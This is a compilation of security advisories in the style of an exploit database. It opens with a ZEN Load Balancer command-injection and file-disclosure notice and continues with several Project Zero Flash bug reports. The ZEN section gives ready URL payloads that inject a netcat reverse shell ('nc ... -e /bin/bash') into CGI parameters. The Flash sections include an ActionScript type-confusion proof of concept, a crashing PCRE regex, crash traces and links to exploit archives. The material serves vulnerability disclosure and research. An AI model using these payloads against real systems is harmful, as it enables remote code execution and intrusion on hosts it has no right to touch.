source: http://www.securityfocus.com/bid/55638/info

ZEN Load Balancer is prone to the following security vulnerabilities:

1. Multiple arbitrary command-execution vulnerabilities

2. Multiple information-disclosure vulnerabilities

3. An arbitrary file-upload vulnerability

An attacker can exploit these issues to execute arbitrary commands, upload arbitrary files to the affected computer, or disclose sensitive-information.

ZEN Load Balancer 2.0 and 3.0 rc1 are vulnerable.

http://www.example.com/index.cgi?id=2-2&filelog=%26nc+192.168.1.1+4444+-e+/bin/bash;&nlines=1&action=See+logs

http://www.example.com/index.cgi?id=2-2&filelog=#&nlines=1%26nc+192.168.1.1+4444+-e+/bin/bash;&action=See+logs

http://www.example.com/index.cgi?id=3-2&if=lo%26nc+192.168.1.1+4444+-e+/bin/bash%26&status=up&newip=0.0.0.0&netmask=255.255.255.0&gwaddr=&action=Save+%26+Up!

http://www.example.com/config/global.conf

http://www.example.com/backup/

Source: https://code.google.com/p/google-security-research/issues/detail?id=416&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

This issue is a variant of issue 192 , which the fix did not address.

If XMLSocket connect is called on an object that already has a destroy function set, such as a BitmapData object, the method will set the user data of that object, but not clear the destroy function. This leads to type confusion when the user data is freed during garbage collection.

A PoC is as follows:

class subsocket extends flash.display.BitmapData{

public function subsocket(){

var n = {valueOf : func};

this.valueOf = func;

var x = new XMLSocket();

x.connect.call(this, "127.0.0.1", this);

}

function func(){

if(this){

}

this.__proto__ = {};

this.__proto__.__constructor__ = flash.display.BitmapData;

super(10, 10, true, 10);

return 80;

}

}

A SWF and fla are attached. Note that this PoC needs to be run on a webserver on localhost (or change the IP in the PoC to the server value), and it only crashes in Chrome on 64-bit Linux.

Proof of Concept:

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37876.zip

Source: https://code.google.com/p/google-security-research/issues/detail?id=425&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

To reproduce, host the attached files appropriately and:

http://localhost/LoadMP4.swf?file=crash4000368.flv

If there is no crash at first, refresh the page a few times.

With a debugger attached to 64-bit Flash in Chrome Linux, the crash manifests like this:

=> 0x00007f7789d081bb <__memmove_ssse3_back+443>: movaps %xmm1,-0x10(%rdi)

rdi 0x7f7778d69200

7f777894b000-7f7778d69000 rw-p 00000000 00:00 0

7f7778d69000-7f7778d88000 ---p 00000000 00:00 0

This looks very like a heap-based buffer overflow that just happens to have walked off the end of the committed heap.

Also, this bug bears disturbing similarities to CVE-2015-3043, see for example: https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html

Proof of Concept:

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37879.zip

Source: https://code.google.com/p/google-security-research/issues/detail?id=426&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

To reproduce, host the attached files appropriately, and:

http://localhost/LoadMP4.swf?file=crash3006694.flv

If there is no crash at first, refresh the page a few times.

With a debugger attached to 64-bit Flash in Chrome Linux, the crash manifests like this:

=> 0x00007f7779846eee: mov %ax,(%rdi,%rdx,2)

rax 0xff69

rdi 0x7f7778b70000

rdx 0x160b

7f777861e000-7f7778b72000 rw-p 00000000 00:00 0

7f7778b72000-7f7779228000 ---p 00000000 00:00 0

It looks like an indexing error; the rdi "base" address is in bounds but add on 2*rdx and the address is not in bounds.

Proof of Concept:

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37880.zip

Source: https://code.google.com/p/google-security-research/issues/detail?id=224&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There’s an error in the PCRE engine version used in Flash that allows the execution of arbitrary PCRE bytecode, with potential for memory corruption and RCE.

This issue is a duplicate of http://bugs.exim.org/show_bug.cgi?id=1546 originally reported to PCRE upstream by mikispag; I rediscovered the issue fuzzing Flash so have filed this bug report to track disclosure deadline for Adobe.

The issue occurs in the handling of zero-length assertions; ie assertions where the object of the assertion is prepended with the OP_BRAZERO operator.

Simplest testcase that will crash in an ASAN build is the following:

(?(?<a>)?)

This is pretty much a nonsense expression, and I'm not sure why it compiles successfully; but it corresponds to the statement that 'assert that named group 'a' optionally matches'; which is tautologically true regardless of 'a'.

Regardless, we emit the following bytecode:

0000 5d0012 93 BRA [18]

0003 5f000c 95 COND [12]

0006 66 102 BRAZERO

0007 5e00050001 94 CBRA [5, 1]

000c 540005 84 KET [5]

000f 54000c 84 KET [12]

0012 540012 84 KET [18]

0015 00 0 END

When this is executed, we reach the following code:

/* The condition is an assertion. Call match() to evaluate it - setting

the final argument match_condassert causes it to stop at the end of an

assertion. */

else

{

RMATCH(eptr, ecode + 1 + LINK_SIZE, offset_top, md, ims, NULL,

match_condassert, RM3);

if (rrc == MATCH_MATCH)

{

condition = TRUE;

ecode += 1 + LINK_SIZE + GET(ecode, LINK_SIZE + 2);

while (*ecode == OP_ALT) ecode += GET(ecode, 1); <---- ecode is out of bounds at this point.

If we look at the execution trace for this expression, we can see where this code goes wrong:

exec 0x600e0000dfe4 93 [0x60040000dfd0 41]

exec 0x600e0000dfe7 95 [0x60040000dfd0 41]

exec 0x600e0000dfea 102 [0x60040000dfd0 41] <--- RMATCH recursive match

exec 0x600e0000dfeb 94 [0x60040000dfd0 41]

exec 0x600e0000dff0 84 [0x60040000dfd0 41]

exec 0x600e0000dff3 84 [0x60040000dfd0 41]

exec 0x600e0000dff6 84 [0x60040000dfd0 41]

exec 0x600e0000dff9 0 [0x60040000dfd0 41] <--- recursive match returns

before 0x600e0000dfe7 24067 <--- ecode == 0x...dfe7

after 0x600e00013dea

If we look at the start base for our regex, it was based at dfe4; so dfe7 is the OP_COND, as expected. Looking at the next block of code, we're clearly expecting the assertion to be followed by a group; likely OP_CBRA or another opcode that has a 16-bit length field following the opcode byte.

ecode += 1 + LINK_SIZE + GET(ecode, LINK_SIZE + 2);

In this case, the insertion of the OP_BRAZERO has resulted in the expected OP_CBRA being shifted forward by a byte to 0x...dfeb; and this GET results in the value of 0x5e00 + 1 + LINK_SIZE being added to the ecode pointer, instead of the correct 0x0005 + 1 + LINK_SIZE, resulting in bytecode execution hopping outside of the allocated heap buffer.

See attached for a crash PoC for the latest Chrome/Flash on x64 linux.

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37839.zip